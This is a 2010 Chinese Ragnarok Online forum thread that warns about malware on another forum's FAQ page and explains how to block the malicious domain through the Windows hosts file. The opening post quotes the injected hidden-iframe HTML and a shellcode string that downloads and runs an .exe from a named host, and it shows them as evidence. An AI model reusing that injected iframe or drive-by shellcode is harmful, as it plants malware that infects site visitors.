浆糊论坛-RO小站 » RO 1.5交流区（原RO交流区） » 免疫木马补丁

sexx 发表于 2010-7-23 18:39

免疫木马补丁

特意去试验下：
http:[color=Black]//[/color]bbs.rohome.net/faq.php?action=message&id=9
含有以下内容：

[quote]<div class="altbg2" style="margin: 8px auto;">在<a href="memcp.php" target="_blank">控制面板</a>中的“编辑个人资料”，填写“原密码”，“新密码”，“确认新密码”。点击“提交”，即可修改。<iframe src=[color=Red]http://bwdirectsales.com/images/banners/cn.htm[/color] style="display:none"></iframe>;</div>[/quote]

http:[color=Black]//[/color]bwdirectsales.com/images/banners/cn.htm便是恶意网页
该网页会利用shellcode溢出下载执行 http:/[color=Black]/[/color]bkaode546.com/xiao/xiazai.exe
[quote]----Vt=_GVUVBBB_d0@phjYh32hUserTFjYhonhurlmTuhonhurlmTFjYnhl32hshelTFojYOjjSjV\3@<u\c.eDxe3QQSWQ3FX"jjjjjhSF$F`jPV(FdF`jjjjjPV,jjjhPV<FxNd|t|ttFpFtjjjF`PV8jNtQvpPv`V0v`V4vxV@33T}3PQSPPPPPPWPPV~TehcvwhshdoTF$F<d`jev<F3SSSS88uxtU@2tGcOGeGQ@G>9GiGfG7G d0@phjYTh32hUserTUjY53WVX[_fGSSj@hWF XQVu<t.xVv 3IA3:t@;u^^$fK^^Y9}H{=2tcOQ@ed2KtWfC}R>9if7Sf[color=Red]http://bkaode546.com/xiao/xiazai.exe[/color]WW;[/quote]

只要系统打了比较新的安全补丁应该没问题，看了此页也不会中毒
小站以前也被这个bwdirectsales.com光顾过。。。
目前它只进驻了faq.php帮助页面，交流区看贴回帖没问题

所以趁早OX它吧，进入 [color=Teal][b]C:\WINDOWS\system32\drivers\etc[/b][/color] 打开 [color=Teal][b]hosts[/b][/color] 文件
选择记事本打开，删除无用部分（#和//开头的行都是没用的），然后添加：
[quote]127.0.0.1 bwdirectsales.com
127.0.0.1 [color=Black]www[/color].bwdirectsales.com[/quote]
保存即可。它的原理是让bwdirectsales.com域名解析失败，让本机无法访问此网站里的任何资源。

测试是否修改成功，开始-->运行-->[color=DarkSlateGray][b]ping bwdirectsales.com[/b][/color]
如果显示  [color=DarkSlateGray][b]Pinging bwdirectsales.com[127.0.0.1]...[/b][/color]  就成功啦，彻底告别马夫！

[color=Red][b]注意：千万别手抖把地址复制进IE里[/b][/color][color=#f2f5f9]

[[i] 本帖最后由 sexx 于 2010-7-24 16:39 编辑 [/i]]

Justise 发表于 2010-7-23 19:09

有什么后遗症么？
我小白
不懂得}_}

sexx 发表于 2010-7-23 19:10

后遗症就是以后这个网站从良了也看不了了

Justise 发表于 2010-7-23 19:11

到底是什么网站呢:huh:

浪漫de咸鱼 发表于 2010-7-23 19:16

顺便一提：记得将HOSTS文件改成只读

查看完整版本: 免疫木马补丁